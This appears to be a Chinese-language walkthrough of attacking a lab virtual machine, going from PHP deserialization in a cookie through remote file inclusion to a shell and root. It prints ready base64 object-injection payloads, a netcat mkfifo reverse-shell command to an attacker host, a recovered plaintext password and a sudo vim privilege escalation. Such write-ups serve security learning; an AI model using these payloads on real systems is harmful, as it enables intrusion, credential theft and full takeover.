php反序列化到getshell
阿新 • • 發佈：2020-09-16
0x01 掃描存活,埠
C:\Users\Administrator>nmap -sn -PR -T 4 192.168.18.0/24 Starting Nmap 7.70 ( https://nmap.org ) at 2020-09-16 16:00 ?D1ú±ê×?ê±?? Nmap scan report for 192.168.18.254 Host is up (0.00s latency). MAC Address: 00:50:56:F5:8E:EC (VMware) Nmap scan report for 192.168.18.1 Host is up. Nmap scan report for 192.168.18.128 Host is up (0.0010s latency). MAC Address: 00:0C:29:6B:45:F3 (VMware) Nmap done: 256 IP addresses (3 hosts up) scanned in 29.30 seconds C:\Users\Administrator>nmap 192.168.18.128 Starting Nmap 7.70 ( https://nmap.org ) at 2020-09-16 16:00 ?D1ú±ê×?ê±?? Nmap scan report for 192.168.18.128 Host is up (0.00s latency). Not shown: 998 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 00:0C:29:6B:45:F3 (VMware) Nmap done: 1 IP address (1 host up) scanned in 11.34 seconds
0x02 Web
Request：
GET / HTTP/1.1 Host: 192.168.18.128 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Connection: close Cookie: user=Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjM6InNrNCI7czo5OiIAVXNlcgB3ZWwiO086NzoiV2VsY29tZSI6MDp7fX0%3D Upgrade-Insecure-Requests: 1
Response:
HTTP/1.1 200 OK
Date: Wed, 16 Sep 2020 08:04:41 GMT
Server: Apache/2.4.38 (Ubuntu)
Content-Length: 52
Connection: close
Content-Type: text/html; charset=UTF-8
Hello sk4This is a beta test for new cookie handler
可以看到cookie裡面user值為一個base64加密，解密一下
O:4:"User":2:{s:10:" User name";s:3:"sk4";s:9:" User wel";O:7:"Welcome":0:{}}
這裡改為
O:4:"User":2:{s:10:" User name";s:5:"admin";s:9:" User wel";O:7:"Welcome":0:{}}
試試
C:\Users\Administrator>python
Python 3.8.0 (tags/v3.8.0:fa919fd, Oct 14 2019, 19:37:50) [MSC v.1916 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import base64
>>> s = base64.b64encode(b'O:4:"User":2:{s:10:" User name";s:5:"admin";s:9:" User wel";O:7:"Welcome":0:{}}')
>>> print(s)
b'Tzo0OiJVc2VyIjoyOntzOjEwOiIgVXNlciBuYW1lIjtzOjU6ImFkbWluIjtzOjk6IiBVc2VyIHdlbCI7Tzo3OiJXZWxjb21lIjowOnt9fQ=='
>>>
返回為500，把空格替換為\x00試試
Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjU6ImFkbWluIjtzOjk6IgBVc2VyAHdlbCI7Tzo3OiJXZWxjb21lIjowOnt9fQ==
0x03 程式碼審計
確實ok但是沒啥用繼續掃下目錄，得到一個backup目錄為網站備份檔案
index.php
<?php
include("user.class.php");
if(!isset($_COOKIE['user'])) {
setcookie("user", base64_encode(serialize(new User('sk4'))));
} else {
unserialize(base64_decode($_COOKIE['user']));
}
echo "This is a beta test for new cookie handler\n";
?>
user.class.php
<?php
include("log.class.php");
class Welcome {
public function handler($val) {
echo "Hello " . $val;
}
}
class User {
private $name;
private $wel;
function __construct($name) {
$this->name = $name;
$this->wel = new Welcome();
}
function __destruct() {
//echo "bye\n";
$this->wel->handler($this->name);
}
}
?>
log.class.php
<?php
class Log {
private $type_log;
function __costruct($hnd) {
$this->$type_log = $hnd;
}
public function handler($val) {
include($this->type_log);
echo "LOG: " . $val;
}
}
?>
看到index.php可以看到new了一個user物件，然後通過序列化加base64加密
轉到user.class.php
因為new了一個物件所以執行construct()，然後destruct()的時候呼叫handler方法輸出sk4
轉到log.class.php，可以很明確的看到有個檔案包含
這裡構造payload就很簡單了
O:4:"User":2:{s:10:"\x00User\x00name";s:5:"admin";s:9:"\x00User\x00wel";O:3:"Log":1:{s:8:"type_log";s:11:"/etc/passwd";}}
但是這裡的空格用\x00轉義一下然後同理bs4轉碼
>>> s = base64.b64encode(b'O:4:"User":2:{s:10:"\x00User\x00name";s:5:"admin";s:9:"\x00User\x00wel";O:3:"Log":1:{s:8:"type_log";s:11:"/etc/passwd";}}')
>>> print(s)
b'Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjU6ImFkbWluIjtzOjk6IgBVc2VyAHdlbCI7TzozOiJMb2ciOjE6e3M6ODoidHlwZV9sb2ciO3M6MTE6Ii9ldGMvcGFzc3dkIjt9fQ=='
>>>
0x04 getshell
遠端包含我們本地的1.txt,內容為
>>> base64.b64encode(b'O:4:"User":2:{s:10:"\x00User\x00name";s:5:"admin";s:9:"\x00User\x00wel";O:3:"Log":1:{s:8:"type_log";s:25:"http://192.168.18.1/1.txt";}}')
b'Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjU6ImFkbWluIjtzOjk6IgBVc2VyAHdlbCI7TzozOiJMb2ciOjE6e3M6ODoidHlwZV9sb2ciO3M6MjU6Imh0dHA6Ly8xOTIuMTY4LjE4LjEvMS50eHQiO319'
>>>
返回反彈shell
GET /?cmd=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.18.129+7777+>/tmp/f HTTP/1.1
Host: 192.168.18.128
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Cookie: user=Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjU6ImFkbWluIjtzOjk6IgBVc2VyAHdlbCI7TzozOiJMb2ciOjE6e3M6ODoidHlwZV9sb2ciO3M6MjU6Imh0dHA6Ly8xOTIuMTY4LjE4LjEvMS50eHQiO319
Upgrade-Insecure-Requests: 1
Content-Length: 0
0x05 提權
$ cd /
$ ls
bin
boot
cdrom
credentials.txt.bak
dev
etc
home
initrd.img
initrd.img.old
lib
lib32
lib64
libx32
lost+found
media
mnt
opt
proc
root
run
sbin
snap
srv
swapfile
sys
tmp
usr
var
vmlinuz
vmlinuz.old
$ cat credentials.txt.bak
sk4:KywZmnPWW6tTbW5w
$
在根目錄下發現敏感檔案得到密碼
ssh登入成功
sk4@sk4-VM:~$ id
uid=1000(sk4) gid=1000(sk4) groups=1000(sk4),24(cdrom),30(dip),46(plugdev),118(lpadmin),129(sambashare)
sk4@sk4-VM:~$ uname -a
Linux sk4-VM 5.0.0-25-generic #26-Ubuntu SMP Thu Aug 1 12:04:58 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
sk4@sk4-VM:~$ cat /etc/issue
Ubuntu 19.04 \n \l
sudo -l發現vim可以任意使用者使用nopasswd
sk4@sk4-VM:~$ sudo -l
Matching Defaults entries for sk4 on sk4-VM:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User sk4 may run the following commands on sk4-VM:
(ALL) NOPASSWD: /usr/bin/vim
執行sudo vim
root@sk4-VM:~# id
uid=0(root) gid=0(root) groups=0(root)
root@sk4-VM:~#